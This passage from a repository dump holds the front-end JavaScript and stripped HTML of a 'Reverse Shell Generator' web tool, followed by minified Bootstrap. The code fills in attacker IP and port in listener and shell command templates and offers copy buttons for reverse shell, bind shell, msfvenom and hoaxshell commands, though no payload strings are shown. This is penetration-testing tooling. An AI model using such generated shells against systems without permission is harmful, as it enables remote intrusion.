rsg.updateTabList() 324 | rsg.updateReverseShellCommand() 325 | rsg.updateValues() 326 | }, 327 | 328 | updateValues: () => { 329 | const listenerOptions = listenerSelect.querySelectorAll(".listener-option"); 330 | listenerOptions.forEach((option) => { 331 | option.selected = rsg.listener === option.value; 332 | }); 333 | 334 | const shellOptions = shellSelect.querySelectorAll(".shell-option"); 335 | shellOptions.forEach((option) => { 336 | option.selected = rsg.shell === option.value; 337 | }); 338 | 339 | const encodingOptions = encodingSelect.querySelectorAll("option"); 340 | encodingOptions.forEach((option) => { 341 | option.selected = rsg.encoding === option.value; 342 | }); 343 | 344 | ipInput.value = rsg.ip; 345 | portInput.value = rsg.port; 346 | operatingSystemSelect.value = rsg.filterOperatingSystem; 347 | searchBox.value = rsg.filterText; 348 | }, 349 | 350 | updateTabList: () => { 351 | const data = rsgData.reverseShellCommands; 352 | const filteredItems = filterCommandData( 353 | data, 354 | { 355 | filterOperatingSystem: rsg.filterOperatingSystem, 356 | filterText: rsg.filterText, 357 | commandType: rsg.commandType 358 | } 359 | ); 360 | 361 | const documentFragment = document.createDocumentFragment(); 362 | if (filteredItems.length === 0) { 363 | const emptyMessage = document.createElement("button"); 364 | emptyMessage.innerText = "No results found"; 365 | emptyMessage.classList.add("list-group-item", "list-group-item-action", "disabled"); 366 | 367 | documentFragment.appendChild(emptyMessage); 368 | } 369 | filteredItems.forEach((item, index) => { 370 | const { 371 | name, 372 | command 373 | } = item; 374 | 375 | const selectionButton = document.createElement("button"); 376 | 377 | if (rsg.getSelectedCommandName() === item.name) { 378 | selectionButton.classList.add("active"); 379 | } 380 | 381 | const clickEvent = () => { 382 | rsg.selectedValues[rsg.commandType] = name; 383 | rsg.update(); 384 | 385 | // if (document.querySelector('#auto-copy-switch').checked) { 386 | // rsg.copyToClipboard(reverseShellCommand.innerText) 387 | // } 388 | } 389 | 390 | selectionButton.innerText = name; 391 | selectionButton.classList.add("list-group-item", "list-group-item-action"); 392 | selectionButton.addEventListener("click", clickEvent); 393 | 394 | documentFragment.appendChild(selectionButton); 395 | }) 396 | 397 | const listSelectionSelector = rsg.uiElements[rsg.commandType].listSelection; 398 | document.querySelector(listSelectionSelector).replaceChildren(documentFragment) 399 | }, 400 | 401 | updateListenerCommand: () => { 402 | const privilegeWarning = document.querySelector("#port-privileges-warning"); 403 | let command = listenerSelect.value; 404 | command = rsg.highlightParameters(command) 405 | command = command.replace('{port}', rsg.getPort()) 406 | command = command.replace('{ip}', rsg.getIP()) 407 | command = command.replace('{payload}', rsg.getPayload()) 408 | command = command.replace('{type}', rsg.getType()) 409 | 410 | if (rsg.getPort() < 1024) { 411 | privilegeWarning.style.visibility = "visible"; 412 | command = `sudo ${command}` 413 | } else { 414 | privilegeWarning.style.visibility = "hidden"; 415 | } 416 | 417 | listenerCommand.innerHTML = command; 418 | }, 419 | 420 | updateReverseShellSelection: () => { 421 | document.querySelector(".list-group-item.active") ?.classList.remove("active"); 422 | const elements = Array.from(document.querySelectorAll(".list-group-item")); 423 | const selectedElement = elements.find((item) => item.innerText === rsg.currentCommandName); 424 | selectedElement?.classList.add("active"); 425 | }, 426 | 427 | updateReverseShellCommand: () => { 428 | const command = rsg.generateReverseShellCommand(); 429 | const commandSelector = rsg.uiElements[rsg.commandType].command; 430 | document.querySelector(commandSelector).innerHTML = command; 431 | }, 432 | 433 | updateSwitchStates: () => { 434 | $('#listener-advanced').collapse($('#listener-advanced-switch').prop('checked') ? 'show' : 435 | 'hide') 436 | $('#revshell-advanced').collapse($('#revshell-advanced-switch').prop('checked') ? 'show' : 437 | 'hide') 438 | } 439 | } 440 | 441 | /* 442 | * Init 443 | */ 444 | rsg.init(); 445 | rsg.update(); 446 | 447 | /* 448 | * Event handlers/functions 449 | */ 450 | ipInput.addEventListener("input", (e) => { 451 | rsg.setState({ 452 | ip: e.target.value 453 | }) 454 | }); 455 | 456 | portInput.addEventListener("input", (e) => { 457 | rsg.setState({ 458 | port: Number(e.target.value) 459 | }) 460 | }); 461 | 462 | listenerSelect.addEventListener("change", (e) => { 463 | rsg.setState({ 464 | listener: e.target.value 465 | }) 466 | }); 467 | 468 | shellSelect.addEventListener("change", (e) => { 469 | rsg.setState({ 470 | shell: e.target.value 471 | }) 472 | }); 473 | 474 | encodingSelect.addEventListener("change", (e) => { 475 | rsg.setState({ 476 | encoding: e.target.value 477 | }) 478 | }); 479 | 480 | searchBox.addEventListener("input", (e) => { 481 | rsg.setState({ 482 | filterText: e.target.value 483 | }) 484 | }); 485 | 486 | document.querySelector('#inc-port').addEventListener('click', () => { 487 | rsg.setState({ 488 | port: rsg.getPort() + 1 489 | }) 490 | }) 491 | 492 | document.querySelector('#listener-advanced-switch').addEventListener('change', rsg.updateSwitchStates); 493 | document.querySelector('#revshell-advanced-switch').addEventListener('change', rsg.updateSwitchStates); 494 | 495 | setInterval(rsg.updateSwitchStates, 500) // fix switch changes in rapid succession 496 | 497 | document.querySelector('#copy-listener').addEventListener('click', () => { 498 | rsg.copyToClipboard(listenerCommand.innerText) 499 | }) 500 | 501 | document.querySelector('#copy-reverse-shell-command').addEventListener('click', () => { 502 | rsg.copyToClipboard(reverseShellCommand.innerText) 503 | }) 504 | 505 | document.querySelector('#copy-bind-shell-command').addEventListener('click', () => { 506 | rsg.copyToClipboard(bindShellCommand.innerText) 507 | }) 508 | 509 | document.querySelector('#copy-msfvenom-command').addEventListener('click', () => { 510 | rsg.copyToClipboard(msfVenomCommand.innerText) 511 | }) 512 | 513 | document.querySelector('#copy-hoaxshell-command').addEventListener('click', () => { 514 | rsg.copyToClipboard(hoaxShellCommand.innerText) 515 | }) 516 | 517 | var downloadButton = document.querySelectorAll(".download-svg"); 518 | for (const Dbutton of downloadButton) { 519 | Dbutton.addEventListener("click", () => { 520 | const filename = prompt('Enter a filename', 'payload.sh') 521 | if(filename===null)return; 522 | const rawLink = RawLink.generate(rsg); 523 | axios({ 524 | url: rawLink, 525 | method: 'GET', 526 | responseType: 'arraybuffer', 527 | }) 528 | .then((response)=>{ 529 | const url = window.URL.createObjectURL(new File([response.data], filename )); 530 | const downloadElement = document.createElement("a"); 531 | downloadElement.href = url; 532 | downloadElement.setAttribute('download', filename); 533 | document.body.appendChild(downloadElement); 534 | downloadElement.click(); 535 | document.body.removeChild(downloadElement); 536 | }); 537 | }); 538 | } 539 | 540 | // autoCopySwitch.addEventListener("change", () => { 541 | // setLocalStorage(autoCopySwitch, "auto-copy", "checked"); 542 | // }); 543 | 544 | // Popper tooltips 545 | $(function () { 546 | $('[data-toggle="tooltip"]').tooltip() 547 | }); 548 | 549 | // TODO: add a random fifo for netcat mkfifo 550 | //let randomId = Math.random().toString(36).substring(2, 4); 551 | 552 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Online - Reverse Shell Generator 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 26 | 27 | 28 | 29 | 30 | 31 | 33 | 34 | 35 | 36 | 37 | 48 | 61 | 62 | 63 | 64 |
65 |
66 | 68 | 69 | 74 |
75 | 76 | 77 |
78 |

Reverse Shell Generator

79 |
80 | 81 |
82 | 83 | 84 |
85 |
86 |
87 |
88 | IP & Port 89 |
90 | 91 | 92 |
93 |
94 | 95 | 96 |
97 |
98 |
99 | IP 100 |
101 | 104 |
105 |
106 | 107 | 108 |
109 |
110 |
111 | Port 112 |
113 | 116 |
117 | 122 |
123 |
124 |
125 | 126 | 131 | 132 |
133 |
134 | 135 | 136 |
137 |
138 |
139 | 140 | 141 | 142 |
143 |
144 |
145 | 146 | 147 |
148 | 149 | 153 |
154 | 155 |
Listener
156 | 157 |
158 | 159 | 160 |
161 |
162 |
🚀
163 |

165 |                                 
166 |
167 | 168 | 169 |
170 | 171 |
172 | 175 |
176 |
177 | 178 |
179 | 180 | 181 | 182 | 186 |
187 |
188 |
189 | 190 | 191 |
192 | 193 | 215 | 216 |
217 |
218 | 219 |
220 | 221 | 223 |
224 | 230 |
231 | 232 | 234 |
235 | 236 |
237 | 238 | 239 | 240 |
241 | 242 | 246 | 247 |
248 | 249 |
250 | 251 |
252 | 253 |
254 |
255 |
256 | 257 | 258 |
259 |
260 | 261 |
262 |
263 | 264 | 265 |
266 | 267 | 268 | 269 |
270 |
271 |
🚀
272 |

275 |                                         
276 |
277 | 278 | 279 |
280 | 281 | 282 |
283 |
284 | 285 |
286 | 289 |
290 |
291 |
292 | 293 | 294 |
295 |
296 | 297 |
298 | 304 |
305 |
306 |
307 | 308 |
309 | 310 | 311 |
312 | 313 |
315 |
316 | Copied to clipboard 317 |
318 |
319 | 320 |
322 |
323 | Error copying to clipboard 324 |
325 |
326 | 327 | 334 | 335 | 336 | 340 | 341 | 342 | 346 |
347 | 348 |
349 | 350 | 351 |
352 |
353 |
354 | 355 | 356 | 357 |
358 |
359 |
360 | 361 |
362 |
363 | 364 |
365 |
366 | 367 |
368 | 369 |
370 |
371 |
🚀
372 |

374 |                                         
375 |
376 | 377 |
378 | 379 | 385 | 386 | 390 | 391 | 392 | 396 |
397 |
398 | 399 |
400 |
401 |
402 | 403 | 404 | 405 |
406 |
407 |
408 | 409 |
410 |
412 | 413 |
414 |
415 | 416 | 417 |
418 | 419 | 420 |
421 |
422 |
🚀
423 |

426 |                                             
427 |
428 | 429 |
430 | 431 | 439 | 440 | 441 | 445 | 446 | 447 | 452 |
453 |
454 | 455 |
456 |
457 |
458 | 459 | 460 | 461 |
462 |
463 |
464 | 465 |
466 |
468 | 469 |
470 |
471 | 472 | 473 |
474 | 475 | 476 |
477 |
478 |
🚀
479 |

482 |                                             
483 |
484 | 485 |
486 | 487 | 488 | 492 | 493 | 494 | 499 |
500 |
501 | 502 |
503 |
504 |
505 | 506 |
507 |
508 |
509 | 510 | 511 | 512 | 513 | 514 | 515 | 516 | 517 | 518 | 519 | 520 | 521 | 522 | 523 | 524 | -------------------------------------------------------------------------------- /assets/bootstrap-4.5.2.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v4.5.2 (https://getbootstrap.com/) 3 | * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) 5 | */ 6 | !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e((t="undefined"!=typeof globalThis?globalThis:t||self).bootstrap={},t.jQuery,t.Popper)}(this,(function(t,e,n){"use strict";function i(t,e){for(var n=0;n=4)throw new Error("Bootstrap's JavaScript requires at least jQuery v1.9.1 but less than v4.0.0")}};a.jQueryDetection(),e.fn.emulateTransitionEnd=r,e.event.special[a.TRANSITION_END]={bindType:"transitionend",delegateType:"transitionend",handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}};var l="alert",c=e.fn[l],h=function(){function t(t){this._element=t}var n=t.prototype;return n.close=function(t){var e=this._element;t&&(e=this._getRootElement(t)),this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},n.dispose=function(){e.removeData(this._element,"bs.alert"),this._element=null},n._getRootElement=function(t){var n=a.getSelectorFromElement(t),i=!1;return n&&(i=document.querySelector(n)),i||(i=e(t).closest(".alert")[0]),i},n._triggerCloseEvent=function(t){var n=e.Event("close.bs.alert");return e(t).trigger(n),n},n._removeElement=function(t){var n=this;if(e(t).removeClass("show"),e(t).hasClass("fade")){var i=a.getTransitionDurationFromElement(t);e(t).one(a.TRANSITION_END,(function(e){return n._destroyElement(t,e)})).emulateTransitionEnd(i)}else this._destroyElement(t)},n._destroyElement=function(t){e(t).detach().trigger("closed.bs.alert").remove()},t._jQueryInterface=function(n){return this.each((function(){var i=e(this),o=i.data("bs.alert");o||(o=new t(this),i.data("bs.alert",o)),"close"===n&&o[n](this)}))},t._handleDismiss=function(t){return function(e){e&&e.preventDefault(),t.close(this)}},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}}]),t}();e(document).on("click.bs.alert.data-api",'[data-dismiss="alert"]',h._handleDismiss(new h)),e.fn[l]=h._jQueryInterface,e.fn[l].Constructor=h,e.fn[l].noConflict=function(){return e.fn[l]=c,h._jQueryInterface};var u=e.fn.button,d=function(){function t(t){this._element=t}var n=t.prototype;return n.toggle=function(){var t=!0,n=!0,i=e(this._element).closest('[data-toggle="buttons"]')[0];if(i){var o=this._element.querySelector('input:not([type="hidden"])');if(o){if("radio"===o.type)if(o.checked&&this._element.classList.contains("active"))t=!1;else{var s=i.querySelector(".active");s&&e(s).removeClass("active")}t&&("checkbox"!==o.type&&"radio"!==o.type||(o.checked=!this._element.classList.contains("active")),e(o).trigger("change")),o.focus(),n=!1}}this._element.hasAttribute("disabled")||this._element.classList.contains("disabled")||(n&&this._element.setAttribute("aria-pressed",!this._element.classList.contains("active")),t&&e(this._element).toggleClass("active"))},n.dispose=function(){e.removeData(this._element,"bs.button"),this._element=null},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.button");i||(i=new t(this),e(this).data("bs.button",i)),"toggle"===n&&i[n]()}))},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}}]),t}();e(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(t){var n=t.target,i=n;if(e(n).hasClass("btn")||(n=e(n).closest(".btn")[0]),!n||n.hasAttribute("disabled")||n.classList.contains("disabled"))t.preventDefault();else{var o=n.querySelector('input:not([type="hidden"])');if(o&&(o.hasAttribute("disabled")||o.classList.contains("disabled")))return void t.preventDefault();("LABEL"!==i.tagName||o&&"checkbox"!==o.type)&&d._jQueryInterface.call(e(n),"toggle")}})).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',(function(t){var n=e(t.target).closest(".btn")[0];e(n).toggleClass("focus",/^focus(in)?$/.test(t.type))})),e(window).on("load.bs.button.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-toggle="buttons"] .btn')),e=0,n=t.length;e0,this._pointerEvent=Boolean(window.PointerEvent||window.MSPointerEvent),this._addEventListeners()}var n=t.prototype;return n.next=function(){this._isSliding||this._slide("next")},n.nextWhenVisible=function(){!document.hidden&&e(this._element).is(":visible")&&"hidden"!==e(this._element).css("visibility")&&this.next()},n.prev=function(){this._isSliding||this._slide("prev")},n.pause=function(t){t||(this._isPaused=!0),this._element.querySelector(".carousel-item-next, .carousel-item-prev")&&(a.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},n.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},n.to=function(t){var n=this;this._activeElement=this._element.querySelector(".active.carousel-item");var i=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)e(this._element).one("slid.bs.carousel",(function(){return n.to(t)}));else{if(i===t)return this.pause(),void this.cycle();var o=t>i?"next":"prev";this._slide(o,this._items[t])}},n.dispose=function(){e(this._element).off(g),e.removeData(this._element,"bs.carousel"),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},n._getConfig=function(t){return t=s({},p,t),a.typeCheckConfig(f,t,_),t},n._handleSwipe=function(){var t=Math.abs(this.touchDeltaX);if(!(t<=40)){var e=t/this.touchDeltaX;this.touchDeltaX=0,e>0&&this.prev(),e<0&&this.next()}},n._addEventListeners=function(){var t=this;this._config.keyboard&&e(this._element).on("keydown.bs.carousel",(function(e){return t._keydown(e)})),"hover"===this._config.pause&&e(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners()},n._addTouchEventListeners=function(){var t=this;if(this._touchSupported){var n=function(e){t._pointerEvent&&v[e.originalEvent.pointerType.toUpperCase()]?t.touchStartX=e.originalEvent.clientX:t._pointerEvent||(t.touchStartX=e.originalEvent.touches[0].clientX)},i=function(e){t._pointerEvent&&v[e.originalEvent.pointerType.toUpperCase()]&&(t.touchDeltaX=e.originalEvent.clientX-t.touchStartX),t._handleSwipe(),"hover"===t._config.pause&&(t.pause(),t.touchTimeout&&clearTimeout(t.touchTimeout),t.touchTimeout=setTimeout((function(e){return t.cycle(e)}),500+t._config.interval))};e(this._element.querySelectorAll(".carousel-item img")).on("dragstart.bs.carousel",(function(t){return t.preventDefault()})),this._pointerEvent?(e(this._element).on("pointerdown.bs.carousel",(function(t){return n(t)})),e(this._element).on("pointerup.bs.carousel",(function(t){return i(t)})),this._element.classList.add("pointer-event")):(e(this._element).on("touchstart.bs.carousel",(function(t){return n(t)})),e(this._element).on("touchmove.bs.carousel",(function(e){return function(e){e.originalEvent.touches&&e.originalEvent.touches.length>1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),e(this._element).on("touchend.bs.carousel",(function(t){return i(t)})))}},n._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},n._getItemIndex=function(t){return this._items=t&&t.parentNode?[].slice.call(t.parentNode.querySelectorAll(".carousel-item")):[],this._items.indexOf(t)},n._getItemByDirection=function(t,e){var n="next"===t,i="prev"===t,o=this._getItemIndex(e),s=this._items.length-1;if((i&&0===o||n&&o===s)&&!this._config.wrap)return e;var r=(o+("prev"===t?-1:1))%this._items.length;return-1===r?this._items[this._items.length-1]:this._items[r]},n._triggerSlideEvent=function(t,n){var i=this._getItemIndex(t),o=this._getItemIndex(this._element.querySelector(".active.carousel-item")),s=e.Event("slide.bs.carousel",{relatedTarget:t,direction:n,from:o,to:i});return e(this._element).trigger(s),s},n._setActiveIndicatorElement=function(t){if(this._indicatorsElement){var n=[].slice.call(this._indicatorsElement.querySelectorAll(".active"));e(n).removeClass("active");var i=this._indicatorsElement.children[this._getItemIndex(t)];i&&e(i).addClass("active")}},n._slide=function(t,n){var i,o,s,r=this,l=this._element.querySelector(".active.carousel-item"),c=this._getItemIndex(l),h=n||l&&this._getItemByDirection(t,l),u=this._getItemIndex(h),d=Boolean(this._interval);if("next"===t?(i="carousel-item-left",o="carousel-item-next",s="left"):(i="carousel-item-right",o="carousel-item-prev",s="right"),h&&e(h).hasClass("active"))this._isSliding=!1;else if(!this._triggerSlideEvent(h,s).isDefaultPrevented()&&l&&h){this._isSliding=!0,d&&this.pause(),this._setActiveIndicatorElement(h);var f=e.Event("slid.bs.carousel",{relatedTarget:h,direction:s,from:c,to:u});if(e(this._element).hasClass("slide")){e(h).addClass(o),a.reflow(h),e(l).addClass(i),e(h).addClass(i);var g=parseInt(h.getAttribute("data-interval"),10);g?(this._config.defaultInterval=this._config.defaultInterval||this._config.interval,this._config.interval=g):this._config.interval=this._config.defaultInterval||this._config.interval;var m=a.getTransitionDurationFromElement(l);e(l).one(a.TRANSITION_END,(function(){e(h).removeClass(i+" "+o).addClass("active"),e(l).removeClass("active "+o+" "+i),r._isSliding=!1,setTimeout((function(){return e(r._element).trigger(f)}),0)})).emulateTransitionEnd(m)}else e(l).removeClass("active"),e(h).addClass("active"),this._isSliding=!1,e(this._element).trigger(f);d&&this.cycle()}},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.carousel"),o=s({},p,e(this).data());"object"==typeof n&&(o=s({},o,n));var r="string"==typeof n?n:o.slide;if(i||(i=new t(this,o),e(this).data("bs.carousel",i)),"number"==typeof n)i.to(n);else if("string"==typeof r){if("undefined"==typeof i[r])throw new TypeError('No method named "'+r+'"');i[r]()}else o.interval&&o.ride&&(i.pause(),i.cycle())}))},t._dataApiClickHandler=function(n){var i=a.getSelectorFromElement(this);if(i){var o=e(i)[0];if(o&&e(o).hasClass("carousel")){var r=s({},e(o).data(),e(this).data()),l=this.getAttribute("data-slide-to");l&&(r.interval=!1),t._jQueryInterface.call(e(o),r),l&&e(o).data("bs.carousel").to(l),n.preventDefault()}}},o(t,null,[{key:"VERSION",get:function(){return"4.5.2"}},{key:"Default",get:function(){return p}}]),t}();e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",b._dataApiClickHandler),e(window).on("load.bs.carousel.data-api",(function(){for(var t=[].slice.call(document.querySelectorAll('[data-ride="carousel"]')),n=0,i=t.length;n0&&(this._selector=r,this._triggerArray.push(s))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var n=t.prototype;return n.toggle=function(){e(this._element).hasClass("show")?this.hide():this.show()},n.show=function(){var n,i,o=this;if(!this._isTransitioning&&!e(this._element).hasClass("show")&&(this._parent&&0===(n=[].slice.call(this._parent.querySelectorAll(".show, .collapsing")).filter((function(t){return"string"==typeof o._config.parent?t.getAttribute("data-parent")===o._config.parent:t.classList.contains("collapse")}))).length&&(n=null),!(n&&(i=e(n).not(this._selector).data("bs.collapse"))&&i._isTransitioning))){var s=e.Event("show.bs.collapse");if(e(this._element).trigger(s),!s.isDefaultPrevented()){n&&(t._jQueryInterface.call(e(n).not(this._selector),"hide"),i||e(n).data("bs.collapse",null));var r=this._getDimension();e(this._element).removeClass("collapse").addClass("collapsing"),this._element.style[r]=0,this._triggerArray.length&&e(this._triggerArray).removeClass("collapsed").attr("aria-expanded",!0),this.setTransitioning(!0);var l="scroll"+(r[0].toUpperCase()+r.slice(1)),c=a.getTransitionDurationFromElement(this._element);e(this._element).one(a.TRANSITION_END,(function(){e(o._element).removeClass("collapsing").addClass("collapse show"),o._element.style[r]="",o.setTransitioning(!1),e(o._element).trigger("shown.bs.collapse")})).emulateTransitionEnd(c),this._element.style[r]=this._element[l]+"px"}}},n.hide=function(){var t=this;if(!this._isTransitioning&&e(this._element).hasClass("show")){var n=e.Event("hide.bs.collapse");if(e(this._element).trigger(n),!n.isDefaultPrevented()){var i=this._getDimension();this._element.style[i]=this._element.getBoundingClientRect()[i]+"px",a.reflow(this._element),e(this._element).addClass("collapsing").removeClass("collapse show");var o=this._triggerArray.length;if(o>0)for(var s=0;s0},i._getOffset=function(){var t=this,e={};return"function"==typeof this._config.offset?e.fn=function(e){return e.offsets=s({},e.offsets,t._config.offset(e.offsets,t._element)||{}),e}:e.offset=this._config.offset,e},i._getPopperConfig=function(){var t={placement:this._getPlacement(),modifiers:{offset:this._getOffset(),flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(t.modifiers.applyStyle={enabled:!1}),s({},t,this._config.popperConfig)},t._jQueryInterface=function(n){return this.each((function(){var i=e(this).data("bs.dropdown");if(i||(i=new t(this,"object"==typeof n?n:null),e(this).data("bs.dropdown",i)),"string"==typeof n){if("undefined"==typeof i[n])throw new TypeError('No method named "'+n+'"');i[n]()}}))},t._clearMenus=function(n){if(!n||3!==n.which&&("keyup"!==n.type||9===n.which))for(var i=[].slice.call(document.querySelectorAll('[data-toggle="dropdown"]')),o=0,s=i.length;o0&&r--,40===n.which&&rdocument.documentElement.clientHeight;i||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");var o=a.getTransitionDurationFromElement(this._dialog);e(this._element).off(a.TRANSITION_END),e(this._element).one(a.TRANSITION_END,(function(){t._element.classList.remove("modal-static"),i||e(t._element).one(a.TRANSITION_END,(function(){t._element.style.overflowY=""})).emulateTransitionEnd(t._element,o)})).emulateTransitionEnd(o),this._element.focus()}else this.hide()},n._showElement=function(t){var n=this,i=e(this._element).hasClass("fade"),o=this._dialog?this._dialog.querySelector(".modal-body"):null;this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),e(this._dialog).hasClass("modal-dialog-scrollable")&&o?o.scrollTop=0:this._element.scrollTop=0,i&&a.reflow(this._element),e(this._element).addClass("show"),this._config.focus&&this._enforceFocus();var s=e.Event("shown.bs.modal",{relatedTarget:t}),r=function(){n._config.focus&&n._element.focus(),n._isTransitioning=!1,e(n._element).trigger(s)};if(i){var l=a.getTransitionDurationFromElement(this._dialog);e(this._dialog).one(a.TRANSITION_END,r).emulateTransitionEnd(l)}else r()},n._enforceFocus=function(){var t=this;e(document).off("focusin.bs.modal").on("focusin.bs.modal",(function(n){document!==n.target&&t._element!==n.target&&0===e(t._element).has(n.target).length&&t._element.focus()}))},n._setEscapeEvent=function(){var t=this;this._isShown?e(this._element).on("keydown.dismiss.bs.modal",(function(e){t._config.keyboard&&27===e.which?(e.preventDefault(),t.hide()):t._config.keyboard||27!==e.which||t._triggerBackdropTransition()})):this._isShown||e(this._element).off("keydown.dismiss.bs.modal")},n._setResizeEvent=function(){var t=this;this._isShown?e(window).on("resize.bs.modal",(function(e){return t.handleUpdate(e)})):e(window).off("resize.bs.modal")},n._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._showBackdrop((function(){e(document.body).removeClass("modal-open"),t._resetAdjustments(),t._resetScrollbar(),e(t._element).trigger("hidden.bs.modal")}))},n._removeBackdrop=function(){this._backdrop&&(e(this._backdrop).remove(),this._backdrop=null)},n._showBackdrop=function(t){var n=this,i=e(this._element).hasClass("fade")?"fade":"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className="modal-backdrop",i&&this._backdrop.classList.add(i),e(this._backdrop).appendTo(document.body),e(this._element).on("click.dismiss.bs.modal",(function(t){n._ignoreBackdropClick?n._ignoreBackdropClick=!1:t.target===t.currentTarget&&n._triggerBackdropTransition()})),i&&a.reflow(this._backdrop),e(this._backdrop).addClass("show"),!t)return;if(!i)return void t();var o=a.getTransitionDurationFromElement(this._backdrop);e(this._backdrop).one(a.TRANSITION_END,t).emulateTransitionEnd(o)}else if(!this._isShown&&this._backdrop){e(this._backdrop).removeClass("show");var s=function(){n._removeBackdrop(),t&&t()};if(e(this._element).hasClass("fade")){var r=a.getTransitionDurationFromElement(this._backdrop);e(this._backdrop).one(a.TRANSITION_END,s).emulateTransitionEnd(r)}else s()}else t&&t()},n._adjustDialog=function(){var t=this._element.scrollHeight>document.documentElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarWidth+"px"),this._isBodyOverflowing&&!t&&(this._element.style.paddingRight=this._scrollbarWidth+"px")},n._resetAdjustments=function(){this._element.style.paddingLeft="",this._element.style.paddingRight=""},n._checkScrollbar=function(){var t=document.body.getBoundingClientRect();this._isBodyOverflowing=Math.round(t.left+t.right)
',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:0,container:!1,fallbackPlacement:"flip",boundary:"scrollParent",sanitize:!0,sanitizeFn:null,whiteList:L,popperConfig:null},K={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"},X=function(){function t(t,e){if("undefined"==typeof n)throw new TypeError("Bootstrap's tooltips require Popper.js (https://popper.js.org/)");this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this.element=t,this.config=this._getConfig(e),this.tip=null,this._setListeners()}var i=t.prototype;return i.enable=function(){this._isEnabled=!0},i.disable=function(){this._isEnabled=!1},i.toggleEnabled=function(){this._isEnabled=!this._isEnabled},i.toggle=function(t){if(this._isEnabled)if(t){var n=this.constructor.DATA_KEY,i=e(t.currentTarget).data(n);i||(i=new this.constructor(t.currentTarget,this._getDelegateConfig()),e(t.currentTarget).data(n,i)),i._activeTrigger.click=!i._activeTrigger.click,i._isWithActiveTrigger()?i._enter(null,i):i._leave(null,i)}else{if(e(this.getTipElement()).hasClass("show"))return void this._leave(null,this);this._enter(null,this)}},i.dispose=function(){clearTimeout(this._timeout),e.removeData(this.element,this.constructor.DATA_KEY),e(this.element).off(this.constructor.EVENT_KEY),e(this.element).closest(".modal").off("hide.bs.modal",this._hideModalHandler),this.tip&&e(this.tip).remove(),this._isEnabled=null,this._timeout=null,this._hoverState=null,this._activeTrigger=null,this._popper&&this._popper.destroy(),this._popper=null,this.element=null,this.config=null,this.tip=null},i.show=function(){var t=this;if("none"===e(this.element).css("display"))throw new Error("Please use show on visible elements");var i=e.Event(this.constructor.Event.SHOW);if(this.isWithContent()&&this._isEnabled){e(this.element).trigger(i);var o=a.findShadowRoot(this.element),s=e.contains(null!==o?o:this.element.ownerDocument.documentElement,this.element);if(i.isDefaultPrevented()||!s)return;var r=this.getTipElement(),l=a.getUID(this.constructor.NAME);r.setAttribute("id",l),this.element.setAttribute("aria-describedby",l),this.setContent(),this.config.animation&&e(r).addClass("fade");var c="function"==typeof this.config.placement?this.config.placement.call(this,r,this.element):this.config.placement,h=this._getAttachment(c);this.addAttachmentClass(h);var u=this._getContainer();e(r).data(this.constructor.DATA_KEY,this),e.contains(this.element.ownerDocument.documentElement,this.tip)||e(r).appendTo(u),e(this.element).trigger(this.constructor.Event.INSERTED),this._popper=new n(this.element,r,this._getPopperConfig(h)),e(r).addClass("show"),"ontouchstart"in document.documentElement&&e(document.body).children().on("mouseover",null,e.noop);var 